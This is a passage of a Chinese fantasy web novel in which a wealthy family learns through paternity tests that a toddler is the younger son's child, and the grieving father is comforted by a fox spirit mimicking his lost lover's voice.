狗的可能性比较大。 “这几天家里有没有什么异常?”靳戎问。 “什么异常?”老管家眼神清澈。 “……”靳戎深吸一口气,“比如说有什么人探头探脑想要把小崽儿带走。” “怎么可能!!!”老管家震惊,神情激动地挥舞着手臂,“咱们这是别墅区诶,保安很厉害的,谁敢偷崽儿?我虽然老了,但力气还是有的,我揍死他。” “……”靳戎瞥他一眼,转身上了楼。 就走了? 老管家愣了愣后,后知后觉,也可能是胡硕会回来偷崽儿…… 那要是胡硕真回来,老板会把崽儿还给他吗? 还是连胡硕一起养? 那胡硕那个生崽儿的老婆呢? 也一起养吗? 老管家叹了口气,这事儿闹得。 要是一起养,人家老婆不同意怎么办? …… 小崽儿回到房间就看到狐久趴在那里愣神。 “你咋了,小爸爸?”小崽儿脱了鞋子爬上床,跟他头挨着头,“你怎么不修炼呢?你什么时候能变成人?” 狐久用爪子托起腮,若有所思:“今天可能不适合修炼。” “为啥?”小崽儿晃脚丫,“你不是说你要快快的变成人吗?” “崽儿啊。”狐久看着那泛着绿光的吊坠,“我总觉得要是吸了这玩意儿,怕是要命不久矣。” “命不久矣是啥意思?”文盲崽儿不懂。 “就是会死。”狐久刚刚想要试着用这吊坠修炼,但却从心底升起一股子惧意,仿佛自己身体里的另一个自己在警告他,别碰,会有代价的。 怎么会有这种感觉呢? 太荒谬了。 但他的身体好像确实有些抗拒这吊坠。 “那小爸爸别修炼了。”小崽儿慌了,一骨碌爬起来把狐久抱到怀里,把吊坠扔出去,“宝宝不要小爸爸死。” “乖乖乖,小爸爸不死。”狐久忙安抚小崽儿,“睡一觉,可能明天就好了。” 对,没有什么是睡一觉过不去的。 * “我今天不睡觉也要等到结果。”项琛坐在鉴定室外面的办公室里,托着腮看着里面忙碌的鉴定人员。 项琛对靳戎的智商有一种迷之的信任。 他坚信他高智商的弟弟不会做低智商的事儿,比如给别人养孩子。 他弟之所以藏着那个崽儿就是为了在关键时刻给他致命一击,将他牢牢锁死在公司里,一辈子都没有自由。 这就是豪门兄弟之间的明争暗斗,表面看似兄弟情深,实则处处都是心机。 这一计实在是太恶毒了。 项琛已经在这里待了好几个小时了,他亲眼盯着每一道程序,保证自己能第一时间拿到鉴定结果。 项琛拿起手机给靳戎发消息。 项琛:我已经看透你了。 靳戎收到消息时正靠在落地窗前边喝酒边翻看手机里胡硕的照片。 几百张照片,大多都是胡硕拿他手机自拍的,还有很多是胡硕发给他,他保存下来的。 而现在他要将这些照片全都删除,毕竟他的手机里怎么能留着一个骗子的照片呢。 就在这时,项琛的消息进来了,打断了他的动作。 他只能先切出去回复消息,删照片的事儿改天有空再说吧。 挺忙的。 靳戎:? 项琛:你哥我已经掌握了所有的真相。 靳戎:有病去医院。 项琛:我现在就在医院。 哦对,他拿了小崽儿的头发去做鉴定。 怎么,想用胡硕的孩子来嘲讽打击他? 可笑,幼稚。 谁的孩子重要吗? 以后他的崽儿就是项琛孙子的大爷。 小崽儿这么喜欢大爷,应该也会喜欢自己当大爷吧。 靳戎:我有孩子,你没有。 项琛:我会有的。 靳戎:你先有了再说吧。 项琛轻哼一声,他马上就有了。 “项总,结果出来了。”鉴定人员喊他。 “怎么样?”项琛猛地站起来。 “你看,你看,你看……”鉴定人员将热乎乎的报告递给他,眉眼间都是热切,这个结果太出乎人意料了。 靳戎接过报告直接翻到最后一页最后几行,阿拉伯数字在一片片的英文字母中分外惹眼。 99.99%!!! 是,这就是靳戎的亲生儿子。 项琛激动地捏着报告,他果然没有猜错,他弟不会平白给别人养孩子。 什么时候生的,跟谁生的,为什么和胡硕长得一样? 重要吗? 不重要。 哈哈哈哈哈哈…… 重要的是,他项琛有儿子了!!! 他马上就要自由了。 自由的空气在朝他招手。 几个鉴定员看着项琛丧心病狂的笑,莫名觉得后脊背发凉,他们好像莫名其妙卷进了豪门争斗当中。 这可是靳总的儿子啊,现在被项总据为己有。 他们这是在助纣为虐吗? 项琛抬头,恶狠狠看着他们:“这件事情不许说出去,不然杀你们灭口。” “……” 在正义和金钱当中,他们,该如何选择? “三天。”项琛笑眯眯,“三天以后就无所谓了。”那时候的他已经在国外开启新生活了。 说完项琛头也不回地走掉了。 项总,你倒是给点儿封口费啊。 三天不能八卦,这谁忍得住啊? 项琛走出医院,夜风袭来,他没有丝毫困倦,开始下一步部署。 第一步先给自己的秘书打电话:“给我订明天后天和大后天飞F国的机票。” 秘书很冷静:“首先,您飞不了F国,靳董是不会同意的,其次,为什么要连着订三天?” “首先,老靳马上就会同意我飞F国,其次,订三天是因为我要保证只要我想飞,我立刻就能飞,最后,你话怎么那么多?你是秘书我是秘书?” “我是秘书,所以最后一个问题,为什么能飞?” “因为,我有儿子了,哈哈哈哈……” 项琛实在是控制不住,白得一儿子,这谁能忍得住啊。 项琛开车到家时,靳川林和项毓文刚刚散步消食 回来,看到大儿子坐在沙发上,还诧异:“不是不回来吃饭吗?” 项琛翘着二郎腿晃,下巴高傲地扬着,头上那几缕挑染的红毛分外显眼。 “明天去把你那头发给我染回来。”靳川林看他那头发非常不顺眼,“这么大一个人了,天天吊儿郎当不着调,难怪交不到女朋友,我要是女的,我也不跟你。” “呵。”项琛发出灵魂嗤笑。 “你什么态度?”靳川林走过来,项琛忙放下二郎腿,然后扬起手中的鉴定报告挡住了老靳的铁巴掌。 “什么东西?” “一个可以让你为之颤抖,让咱们家为之疯狂的东西。”项琛将鉴定报告从靳川林眼前划过,挑眉,“爸,想不想看?” 靳川林瞪他。 “别玩儿。”项毓文给他胳膊上来了一巴掌,伸手拿过鉴定报告,“这是什么?” 随手翻了翻,原本笑着的脸僵住然后惊讶地瞪大眼:“支持项琛……和崽崽存在父子关系?” 项毓文抬头,不敢相信:“这是亲子鉴定啊,哪儿来的孩子?” “我的。”项琛笑眯眯指指上面“项琛”的名字,“这不都写着嘛。” “你的孩子?”项毓文不敢置信地将报告又翻了一遍,“你哪儿来的孩子?” 孩子? 什么孩子? 靳川林不解,拿过那报告看了看,然后发出一声嗤笑,将报告甩给项琛:“假的吧,别打歪主意,我告诉你,休想。” “假的?呵。”项琛竖起一根手指晃了晃,“老靳,你对你儿子的能力一无所知,我会拿这种事情跟你们开玩笑?” 靳川林和项毓文齐齐一顿。 是,他们这俩儿子,虽然各有各的性格,但靠谱还是很靠谱的。 不然也不会受“威胁”一直留在公司里了。 “真是你的孩子?”靳川林还是不大信,孩子是这么容易就能有的? “当然,等你们见了他可以去做亲子鉴定嘛。”项琛朝他挑眉,“想不想见?” “在哪儿?”靳川林和项毓文有些信了,脸上带上了明显的期盼的神色,“妈妈是谁?什么时候生的?多大了?男孩还是女孩?” “一个亿。”项琛笑眯眯竖起一根手指,“给你们一天时间凑齐,一手交钱一手交崽儿。” “还有,不许告诉我弟,不然交易取消。” 他弟有孩子,他有自由,皆大欢喜。 * 狐久睡了一觉后精神奕奕下楼吃早饭,与靳戎在饭桌上狭路相逢。 狐久跳上餐桌,老管家给他摆了餐具,狐久瞥了老管家一眼,明知道他不能用刀叉,却非得摆上来刺激他。 老管家接收到他的眼神,微笑颔首,他现在已经能读懂狗的眼神了,这是在夸他有眼色呢。 过誉了,这是他身为一个管家的基操。 靳戎拿着三明治边吃边瞧了狐久一眼,白天里瞧它,那身上的毛毛似乎更白更柔软了,看着就很好rua。 它身上什么都没戴,也没有项琛那条碍眼的绿油油的吊坠,所以,他不介意rua一下。 “过来。”靳戎朝他伸手。 狐久犹豫了几秒,跳到了他掌心上,靳戎便掰了三明治喂他,另一只手在他的后脊梁骨上轻轻抓揉着。 狐久舒服的哼哼了两声。 他刚刚醒了后又试了一下那吊坠,还是觉得有些抗拒,所以他把那吊坠先收到了抽屉里,等过段时间再试试。 所以,他暂时还是只能依靠这个变态男来获取宝石。 爪子拍拍靳戎的手,指指小馄饨,他要喝汤。 靳戎便拿了勺子吹凉汤来喂他。 老管家带着靳川林和项毓文进来时,夫妻俩看到的就是这一幕,他小儿子正坐在餐桌前小心翼翼喂一只巴掌大的狗。 “爸,妈?”靳戎惊讶,“你们怎么来这里了?” “靳戎?”靳川林和项毓文同样惊讶。 “我就说这地址眼熟吧。”靳川林咬牙切齿,“之前咱们不是来过这里一次嘛,看他那个小男友那次,咱俩让项琛给耍了。”项琛说一天时间,他只用了一晚就给他弄了一个亿,艾玛,气死他了。 这块叉烧算是废了。 “不能吧,小琛不至于。”项毓文皱眉,“他是不是给错地址了?” “什么耍了?”靳戎抱着狐久起身走过来,“什么地址?你们怎么一大早过来了?” “我给他把钱冻结了,我看他往哪儿跑。”靳川林拿起手机就要打电话。 “小爸爸,你在哪儿?”小崽儿穿着绿色的恐龙睡衣拖着他的篮子揉着眼睛从楼梯处走下来。 靳川林下意识循声看过去,然后僵住,再然后睁大了眼睛。 这里竟然真的有个孩子。 “小爸爸……”没有得到回应,也没看到狐,小崽儿嘴巴一瘪,有些想哭,“小爸爸……” “这儿呢。”靳戎忙举高掌心里的狗狗,“别哭,小爸爸在这儿。” 小崽儿哒哒哒跑过来扑进靳戎怀里,搂住狐久撒娇:“小爸爸……” “老靳。”项毓文拽拽靳川林的胳膊。 “诶,我在。” “是有个孩子吧?我没看错吧。” “没看错。” “是喊爸爸吧?” “是。” 小崽儿听到声音,从靳戎怀里扭头看他们:“你们是谁啊?宝宝没见过你们。” 项毓文虽然满脑袋浆糊,但这里确实有个漂亮崽儿,她轻轻蹲下身,与小崽儿平视,声音温和:“我是项琛的妈妈,你是项琛的儿子吗?” “谁儿子?”靳戎拧眉出声。 “你哥的儿子。”靳川林拿出鉴定报告,“你哥说,这里有他亲生的儿子。” 14.第 14 章 第14章 项琛的儿子? 靳戎随意瞥了一眼那鉴定报告,连接都懒得接。 他已经洞悉了项琛的阴谋,他想利用小崽儿跑路罢了。 在这方面,靳戎也曾有过同样的幻想。 只要项琛的孩子一出生,他立刻就跑,那时候项琛的老婆还在医院里没出月子,项琛想跑也跑不了。 生孩子得到的不是自由,而是被困住的牢笼。 他一直在等这个机会,但一直没等到。 而现如今被项琛等到了。 但崽儿不是他亲生的。 项琛为了离开简直不择手段,开始瞒天过海了。 “你给他钱了?”靳戎问靳川林,“给了多少?” “一个亿。”靳川林说。 “一个亿?”靳戎皱眉,“真是一个敢要,一个敢给。”老靳已经老糊涂成这样了吗? “他说……”靳川林有些心虚,眼神躲闪,“这里有我孙子……这里确实有个孩子啊。” 靳川林猛然抬眼,指着靳戎怀里白白嫩嫩的崽儿:“这是哪儿来的?”几十个亿的生意他都没这么懵逼过。 “你们被项琛给骗了。”靳戎把狐久塞到小崽儿怀里,然后弯腰把崽儿抱起来往客厅走,边走边解释,“这确实是我儿子,但血缘上跟我没有关系。” “是啊,本来就跟你没关系啊,这是你哥的儿子啊。”靳川林将鉴定报告摇的哗哗作响,“99.99%的父子关系,他应该喊你叔叔。” “……”靳戎无语笑了,甚至不知道该从什么方向解释。 你哥? 爸爸的哥哥是伯伯,伯伯的意思是大爷。 小崽儿迟了几秒,搂着靳戎的脖子探头:“这个爷爷你搞错了,我不是我大爷的儿子,我是靳戎的儿子。” 靳戎的儿子? 到底是谁的儿子? 怎么就没有血缘关系了? 乱了,乱成一锅浆糊了。 项毓文看着那个靠在靳戎怀里漂亮的有些眼熟的小崽儿,冷静的从这锅浆糊里找出线头。 “你哥拿了一份亲子鉴定给我们,亲生父子关系,无论这份鉴定报告是怎么来的,你哥绝对不可能在这上面骗我和你爸爸。”项毓文对自己的两个儿子非常了解也非常有信心,“所以这个孩子一定是咱家的,不是你哥的孩子,就是你的孩子。” “妈。”靳戎无奈,“首先,这崽儿不可能是我哥的孩子,其次,他也不可能是我的孩子。” 大半年以前他还是个处男,大半年以后孩子就三岁半,太可笑了。 谁生? 胡硕生吗? 狐久坐在小崽儿怀里一直听得云里雾里,别的没听明白,就听明白了两句,一句“血缘上没有关系”,另一句“他不可能是我的孩子”。 靠。 这狗男人什么意思? 狐久一爪子拍在了靳戎脸上。 靳戎突然挨了一下,低头,便对上了狐久暴怒的眼睛。 狐久另一边脸又给他来了一爪子。 某狐前辈拼命给他生下来的崽儿他竟然在父母面前否认。 怎么,小崽儿很丢人吗? 嫌丢人就别带回来呀。 莫名被甩了两巴掌,靳戎微怔。 “诶,毓文,你看这孩子的眼睛。”靳川林突然出声。 项毓文,靳戎,包括狐久都被这句话引的看向了小崽儿。 小崽儿被这么多双眼睛看着,眨巴了一下他的大眼睛:“管家爷爷说宝宝的眼睛像大爷。” “什么大爷。”靳川林听到他稚嫩的声音,便忍不住笑,开始夹嗓子,“宝宝的眼睛跟奶奶的眼睛一样漂亮哦。” 靳戎猛然一惊,被老靳这一提醒,他才发现,忽略小崽儿那张与胡硕几乎如出一辙的脸蛋外,那双眼睛跟他妈妈项毓文的眼睛几乎一样,是花瓣形状的桃花眼。 妈妈的眼睛很漂亮,项琛遗传了这双眼睛。 项毓文有些激动,朝小崽儿伸手:“宝宝到奶奶这里好不好?” 小崽儿看狐久,狐久朝他点头,去吧,你爷和你奶一看就珠光宝气的。 小崽儿便抱住了项毓文的脖子:“奶奶你香香的。” “哎呦喂,奶奶的好宝贝。”项毓文心都化了。 “我抱一下。”靳川林忙挤过来,“给爷爷抱抱。”他确定了,这就是自家崽儿,至于是哪个儿子的,无所谓。 孙子是他的就行。 靳戎站在一旁突然像是变成了一个旁观者。 小崽儿在项毓文的怀里,两人的眼睛那么像。 他想到之前项琛用翡翠吊坠换了小崽儿的头发指甲,甚至还用棉签刮了口腔。 如果是伪造的鉴定报告,没必要这么复杂。 他妈妈说的也没错,他哥虽然吊儿郎当,但在在这种事情上是不会开玩笑的。 这个孩子不可能是项琛的,也不会是他的…… 靳戎突然打了一个激灵。 真的不能是他的吗? 我是胡硕背着你生下来的崽儿,胡硕在生我时大出血死了。 靳戎心头一跳。 不可能的。 靳戎抱过小崽儿,剪了小崽儿的指甲,用棉签刮了他的口腔,拽了他三根头发。 “大爷要宝宝的头发需要交换礼物,靳戎不需要哦。”小崽儿乖巧地任由靳戎摆布,“你随意哦,靳戎,宝宝不疼。” 靳戎摸摸他的头,声音里带着不易察觉的慌乱:“听爷爷奶奶话,我很快回来。” “靳戎你要去上班了吗?拜拜。”赚多多的钱给小爸爸买宝石。 靳戎又看了一眼这张与胡硕几乎一样的小脸,压着心底的焦躁转身往外走。 靳川林不明所以正要开口,被项毓文摇头制止:“别管了,反正这是亲孙子无疑了。” 就是不知道这孙子到底打哪儿来的。 看样子,她儿子也还没搞清楚。 狐久也一头雾水,靳戎这是搞哪出? 车门关上的那一刹那,白色的身影跳到了靳戎的膝盖上,仰头看着眼前面无表情的男人。 车子驶出别墅区往医院去,靳戎沉默看着膝盖上乖巧的狗狗,手指抚上它的小脑袋,不知怎么突然哑了的嗓子带着些颤抖:“他,真是胡硕给我生的孩子吗?” 狐久眉头紧紧皱起。 不然呢? 小崽儿是靳戎的儿子靳戎不是早就知道吗?不然为什么带他们回来? * 鉴定中心的工作人员昨天晚上熬夜给项总做亲子鉴定,一大早打着哈欠上班,刚冲了杯黑咖啡打算内部八卦一下,还没等开始,便又迎来了八卦的主人公。 同样的指甲,头发,还有刮过口腔的棉签。 靳总伸出胳膊:“亲子鉴定,我和这份样本。” 豪门兄弟争子案进入了白热化阶段。 鉴定人员没有收到封口费,所以实话实说:“如果跟 昨天项总拿来的样本是属于一个孩子的,就没必要做了,鉴定过程是项总亲自盯着的,绝对没有差错。” “抽。”靳戎冷声,“当着我面做。” “……好。” 狐久端坐在玻璃窗前的台面上,看着针管扎入靳戎的胳膊,看着鲜红的血液被抽出,也看到了靳戎不知为何隐隐泛着红的眼睛。 狐久后知后觉,这个男人不是嫌小崽儿丢人不肯介绍给他爸妈,而是他从一开始就不相信小崽儿是他儿子,现如今是来做确认的。 狐久有些生气。 为什么不相信小崽儿是他儿子? 狐久又有些迷茫。 不相信为什么还对他和小崽儿这么好? 虽然这个男人是有些变态在身上的,但对小崽儿很好也是真的。 狐久叹口气趴在了台面上,搞不懂人类的感情,好复杂。 靳戎不是人傻钱多吗? 他现在到底是傻还是不傻? 等待是漫长的,狐久百无聊赖,但靳戎一直呆愣地坐在那里,眼睛盯着鉴定室的仪器一动不动,不知在想什么。 狐久在他面前又蹦又跳,他也不理他,看起来沉默又寂寥。 狐久想回去陪崽儿也回不去,只能跟他大眼瞪小眼干熬着。 中午时,工作人员吃员工午餐,靳戎终于动了动,开口要了一份盒饭,然后用勺子一点一点喂给狐久。 狐久一边吃一边伸爪子在他眼前晃,你不吃吗? 靳戎没吃,喂饱狐久后就继续坐在那里等。 狐久看出来了,这变态男好像在emo,但他到底在emo什么啊? 狐久真的很想开口问问他。 他是希望崽儿是他儿子还是不希望崽儿是他儿子呢? 坐不住又不能说话的狐久也快emo了,这个破鉴定结果到底什么时候出来? 在狐久的精力快熬没了时,鉴定结果终于出来了。 鉴定人员昨天非常兴奋,毕竟那是八卦,但今天出同样的结果就变成了煎熬。 “靳总,这是鉴定结果。”鉴定人员小心翼翼将报告放到了靳戎面前的桌子上。 靳戎垂眼看着眼前的纸张,情绪复杂,既期盼又抗拒,半晌不敢伸手去翻开。 见靳戎没动作,实在等不急了的狐久用爪子帮他翻页。 快看快看,看完回家睡觉,他困了。 靳戎的视线随着那雪白的没有杂色的小爪子移动,最后落在那串阿拉伯数字上。 与早上那份报告同样的99.99%。 只是这份报告的名字不再是项琛,而是靳戎。 靳戎身形晃了一下,右手撑住了桌子。 这是他的儿子。 一个与胡硕长得一样有他血脉的儿子。 这是胡硕给他生的儿子。 “靳戎先生,你好,我是胡硕先生跟你分手后背着你生下来的崽儿。” “胡硕先生在生宝宝时大出血死了,宝宝现在属于野孤崽儿,你作为宝宝生物学上的另一个爸爸,想要养我吗?” 在仙山上,小崽儿说的每一句话都是真的。 胡硕给他生了一个孩子。 胡硕为了生孩子大出血死了。 死了。 胡硕死了。 靳戎眼前一黑,直直往后倒去。 “靳总……” “……诶,靳总……” “靳总……” “靳戎!!!” 15.第 15 章 第15章 没吃饭低血糖,加上情绪过于激烈引起的突然晕厥,靳戎很快便清醒了。 狐久坐在椅子上翘着爪看着靠在病床上脸色苍白的男人。 不得不说,靳戎有点儿虚啊。 一顿不吃就晕了。 还给他吓一跳,脱口而出喊了一声他的名字,好在那时人多,不然今天怕是要上头条。 不过想想也就理解了,毕竟一夜三次男嘛。 虚点儿也正常。 匆忙赶来的薛秘书站在病床前低头看着那份鉴定报告,眉头拧成了一个死疙瘩,这实在是太匪夷所思了。 小崽儿怎么可能是老板亲生的儿子? “女扮男装?”薛秘书小心翼翼觑了老板一眼,办事儿的时候有没有验明正身? “他是男的,我非常确定。”除了上床以外,胡硕以前还贱嗖嗖地跟他比过大小,输了后两天没搭理他。 “我已经知道这个孩子是怎么来的了。” “您知道?”薛秘书震惊,“怎么来的?” 狐久也放下爪子睁大狐狸眼看着靳戎,难道他猜到某狐前辈是仙山的灵狐了? 这个男人这么聪明的吗? 那他确实是小看他了。 靳戎垂着眼,嘶哑着嗓音:“之前因为我和项琛的事情,我和他聊天时提过很多次关于孩子的事情,他那时表面看着不以为意,其实早就放在了心里,所以特意去仙山求子,拼死也要为我生个孩子,仙山上的传言原来都是真的。” 等等! 老板你先等等!!! 薛秘书有些跟不上这个脑回路。 拼死为老板生个孩子? 胡硕是这么个深情人设吗? 但老板显然已经等不及了,他双目含泪,痛苦地抱住头,整个人蜷缩在病床上,明显已经崩溃了。 “可我却把他当骗子,当渣男。” “我是混蛋,我是废物,他生孩子时我不在他身边,我连他最后一面都没见到。” “我该死……” “……”薛秘书一张脸皱成一团,“……是这样的吗?”老板,咱要不换个思路再想想。 他总觉得哪里不太对。 当然不是这样的。 狐久托腮。 他们仙山的狐狸都聪明,怎么可能为了个男人拼死去生孩子。 他果然还是高估了靳戎的智商。 某狐前辈的《人类攻略日记》里都写了,靳戎能让公狐狸怀孕,怕是有什么大病。 显然某狐前辈也没想到自己能生孩子。 至于后来发生了什么,就不得而知了,毕竟如果换成狐久,他要是被搞怀孕了,他肯定先弄死这个有大病的一夜三次男,绝不可能一个狐偷偷跑回去生孩子的。 某狐前辈还是太善良。 不过看这个男人这么伤心痛苦,狐久还是替某狐前辈感到欣慰,毕竟这男人没白骗。 所以要好好对待他和崽儿哦,比如买个大宝石。 这是这个男人现如今最大的用处了。 * 完了,靳戎这个男人算是废了。 这个男人在医院那天只是短暂晕厥,但回家后就发起了高烧。 他在床上躺了三天,高烧反复,饭也吃不下去,更不要说给狐久买宝石了。 后来,烧退了,他却把自己关在屋里不出门,小崽儿的奶奶没办法,只能让小崽儿去送饭。 那间房只有狐久和小崽儿可以进去,每次进去他都会抱小崽儿抱很久,抱完后继续关着门自闭,自然不可能给狐久买宝石了。 狐久忍耐着。 他明白失去伴侣后的人类是会痛苦的,但他也上网查过,人类男人非常绝情,死了老婆后最快的几天就可以找下家,有些老婆还没死呢,已经找好了。 当然,他也不是说想要靳戎去重新找个老婆,但,抽空买个宝石不行吗? 不行。 因为他发现这个男人在忙着自虐,没空买宝石。 前几天迎来多雨季,晋城一连下了三天大雨,那几天的凌晨,靳戎就坐在后院的石凳上,一坐就是好几个小时。 他还洗冰块澡,就是把浴缸里倒满冰块,然后整个人躺进去,一躺又是几个小时,明明冻得脸色发青,却依旧一动不动。 狐久不知道这个男人在想什么。 狐久坐在浴室的台面上,与躺在浴缸里的男人对视。 短短半个月,这男人瘦了得有十几斤,胡子拉碴,一脸憔悴,了无生气,与当初他在仙山上见到的那个帅气儒雅的总裁判若两人。 “你见过胡硕吗?”靳戎看着那只属于胡硕的狗狗,“他死的时候你在他身边吗?” “人死的时候是什么感觉?”靳戎摸着冰冷刺骨的水,“会冷吗?” 狐久小脸皱成一团,没死过,不知道。 “我没想死。”靳戎仰着头闭上了眼睛,“我只是觉得对不起胡硕,他为了我饱受痛苦的时候,我却在享受生活,到头来,他没了性命,我却有了一个儿子,父慈子孝,我凭什么呀。” “胡硕这个人小肚鸡肠,睚眦必报,他为我生孩子没了命,肯定要气死了,所以我让自己大病一场,胡硕,如果你气不过,你就像去仙山求子一样求神仙一场大病带走我,我去那边给你赔罪。” 靠。 这个男人疯了吗? 他死了谁养崽儿? “你放心,崽儿会活的很好,我爸我妈我哥会对他很好很好的,他会被我爸我妈寄予厚望,未来会继承家里的产业 ,包括他那愚蠢的大爷。” 听起来也不错。 崽儿要是继承了家业,就有钱给他买宝石,不用他到处求人了。 “我很想你,胡硕。”靳戎眼角留下两行泪水,哽咽不能言,“对不起,胡硕。” 狐久即便再不通人性,看到靳戎这副凄惨模样,也很难不动容。 犹豫一瞬后,狐久跳到浴缸边缘处,踩着冰凉的缸壁来到靳戎的脑袋旁,伸出爪子接了一滴眼泪到掌心。 仙山有灵,并非空穴来风。 只是仙山上没有仙人只有狐仙。 狐仙有法术,只要求仙之人十分虔诚,打动狐仙,便能借助狐仙的法术愿望成真。 但那样会耗费修为,仙山上只有狐大仙才会做这种傻事。 狐大仙心善,还是挺好打动的,所以他总会浪费自己的灵力来帮助人类,灵力耗尽后再去闭关修行,修行完了继续当心善的仙人。 狐久化形失败后就一直没见过狐大仙,想来是又做了什么善事闭关去了。 狐久闭上眼感受靳戎的这滴眼泪。 难过痛苦,思念悲恸,还有化不开的死志。 狐久倏然收回被烫到的爪子,这个男人竟然真的想死。 简直匪夷所思。 他向往人类的生活,渴望用人类的身体感受这个世界,所以不理解这个男人为什么会想死。 因为爱情吗? 可惜某狐前辈一开始就是在骗他,没有感情。 眼泪浸入掌心,说明他和靳戎有缘。 其实他也不清楚某狐前辈到底死没死,如果有灵力,他倒是可以帮他寻一寻某狐前辈的踪迹。 可那是小崽儿的亲生爸爸,如果找到某狐前辈,他会不会把崽儿要回去? 狐久天人交战。 “唉……”狐久忍不住幽幽叹了口气。 “胡硕?”浴缸里的人猛地坐直身体,不敢置信,“是你吗,胡硕,我听到你的声音了。”靳戎视线在浴室内逡巡,方寸之地,一眼就能看完。 但他一定没听错,就是胡硕的声音。 其实他不止一次听到过他的声音,在医院晕倒时他也听到了胡硕喊他名字的声音。 难道是胡硕的鬼魂一直跟着小崽儿? “胡硕,你在吗?是不是你?” 被靳戎突然起身带出来的冰水扫落到浴缸角落的狐久抹了一把脸上的水,眨眨眼后,试探着应了一声:“诶,我在呢。” 3d立体环绕,确实是胡硕的声音,清澈干净。 靳戎从浴缸里站起来,睡衣紧贴的瘦削身体因为激动颤抖不止,怕将人吓跑声音很轻:“胡硕,你在哪儿?出来让我看看你。” 狐久往后缩了缩身体:“我不,除非你给我买宝石。” 16.第 16 章 第16章 是胡硕。 声音是胡硕的。 言语也是胡硕的风格。 靳戎朝虚空伸手,猩红的眼睛里全是渴望:“你出来让我看看你,跟我说到底发生了什么,好不好?” “你在不在?” “胡硕,你出来,求你了。” 靳戎在浴室内寻找着,没寻见人,便踉跄着推开门去了卧室:“胡硕,你出来,我不怕你,你喜欢买宝石,我带你去买。” 靳戎这些日子过得浑浑噩噩,从知道胡硕的死讯那一刻便被巨大的愧疚所淹没。 自从胡硕离开后,他都做了什么,他说他是个骗子,说他是个渣男,连做梦时都在埋怨他。 胡硕只拿了一百万就走了,还怀了他的孩子…… 靳戎无法想象胡硕最后的时间里过得有多么的凄惨。 他只有通过身体的疼痛才能让自己好受一些,越疼越好。 狐久一声不敢吭,他怕说多了被靳戎听出来声音不一样。 毕竟他的声音怎么可能跟某狐前辈的声音一样呢。 看靳戎在屋里癫狂,狐久悄摸摸贴着墙根一溜烟跑了。 狐久跑回小崽儿的卧室,小崽儿正撅着腚趴在阳台的地毯上蛄蛹。 “做什么呢?”狐久跳过来在他小脑袋上拍了一下。 “动画片里小狐狸变人的时候就是这个姿势。”小崽儿指着面前老管家给他买的平板说,“宝宝学一下说不定就变成小狐狸了呢。” “你还是先不要变小狐狸了,吓死靳戎。”狐久蹲在小崽儿面前,“崽儿啊,小爸爸的声音跟胡硕像吗?” “不知道诶,宝宝又没听过胡硕爸爸说话。” “也是。”狐久想了想,从崽儿的竹编篮子里摸出某狐前辈的手机,“看看里面有没有语音。” 狐久之前只用这个手机来网购和看视频,从来没翻过里面的聊天记录,不是因为狐久多高尚,而是觉得没什么意思,聊天记录哪能比得上短剧里心机男扮演清纯小白花大杀四方有吸引力。 手机没有清除记录,即便之前拉黑了,聊天记录也都还在。 狐久往前翻查,在无数一夜三次男的“你在哪儿?现在回来我还能原谅你”的言语里终于翻到了一条语音。 “亲爱的,我要买这个,给我买好不好?” 嗲里嗲气的声音激的小狐狸身上的毛都炸了起来,艾玛,某狐前辈的声音怎么会这样。 狐久一脸嫌弃:“我的声音怎么可能跟这个声音像,靳戎怕是洗冰块澡把耳朵洗坏了。” “像吗?”狐久问小崽儿。 “不像。”小崽儿摇头,举起小胳膊,“小爸爸威武。” “乖啦。”狐久满意,就是,他可是个威武强壮的大雕男,怎么可能夹嗓子。 狐久又往上找,语音无一例外全是这种,先发一张拍卖会上的珠宝广告页,然后就发一条嗲到起一层鸡皮疙瘩的语音。 “靳戎~,我要这个。” “宝贝儿~,给我买。” “老公嗯~,能不能买,这个有点儿贵……” 哎呦我去!!! 狐久跳上椅子疯狂抖动身体,试图把刚才的那些语音从耳朵里抖出去。 某狐前辈为了宝石真是豁出去了,这么没有底线的吗? 也是开了眼了。 但!!! 靳戎都给他买了,还买了一保险柜。 狐不要脸则无敌。 狐久深吸一口气,他将对某狐前辈的语音逐帧学习。 宝贝儿? 好恶心,喊不出口。 老公? 更恶心了。 靳戎。 还是叫名字吧。 “靳戎嗯嗯嗯~,像吗?”狐久问小崽儿。 小崽儿一张小脸挤成一团,甚至蛄蛹着身体往后爬了爬:“小爸爸,你嗓子被门挤了吗?好可怕。” 狐久:“……” 没关系,他好学,他一定学的一模一样。 * “赵秘书,这是我最近这段时间的工作安排,暂时交接给你了。”客厅里,薛秘书将文件发到赵秘书的手机上。 赵秘书是靳川林的秘书加助理,跟了靳川林三十多年,这几年已经半退休了,现在很突然的回到了工作岗位上。 头发花白的赵秘书看了一眼板着脸坐在那里的靳川林。 看出来了,靳董也不想上班,但怎么办呢,俩儿子,一个儿子病了,一个儿子跑了,国不能一日无君,总得有人顶上吧。 “看孩子是很累的一件事情。”一旁的项毓文叹了口气,“当年我忙着上班,两个儿子都没怎么照顾,一直心怀愧疚,现在照顾孙子这种艰辛又累人的事儿,就当惩罚我了。” 靳川林瞥她一眼,一句话到了喉头又硬生生咽了回去。 这么艰辛,要不换个人惩罚? 项毓文又嘱咐薛秘书:“你这段时间就来这里上班,帮我看着小戎。” “好的,项董。” 从医院回来那天老板就把自己关在了房间里,面对项毓文和靳川林的询问,薛秘书只含糊了一句,宝宝的妈妈不在了。 好在老板的父母是非常开明且宽容温和的人,并没有过多追根究底。 薛秘书这段时间也仔细查阅了关于仙山的各种传说,越查越觉得玄乎,网上有个关于仙山的论坛,里面那些帖子说的天花乱坠,什么一直生不出孩子的人去了趟仙山后回来生了双胞胎,女儿得了绝症,妈妈背着女儿一路跪上仙山,后来女儿的不治之症就好了,还有人说自己住在仙山上的酒店里,半夜醒来看到了穿着白袍的仙人从桃花林走出来…… 如果按照论坛里的说法,老板那天的猜测倒像是真的了。 薛秘书现如今很迷茫,想安慰老板都不知道该从那个角度安慰。 项毓文往楼上看了一眼,很是忧愁:“小戎从来都很理智,我第一次见他这样。” 没认识胡硕以前,如果有人跟薛秘书说他冷静自持又毒舌的老板会因为一个人抑郁难过生无可恋,他绝对会嗤之以鼻的。 但陪着老板东奔西走这大半年后,没有人比薛秘书更明白老板对胡硕的感情。 即便胡硕有了孩子骗了他,老板都能接受,更何况是胡硕根本没骗他,而是给他生了个孩子,人还没了。 薛秘书想想都会觉得疼,更不要说老板了。 项毓文起身打算上楼去看看小崽儿,就看到半个月没下楼的儿子出现在了楼梯转角处。 黑色的衬衣空空荡荡,显得人瘦骨嶙峋。 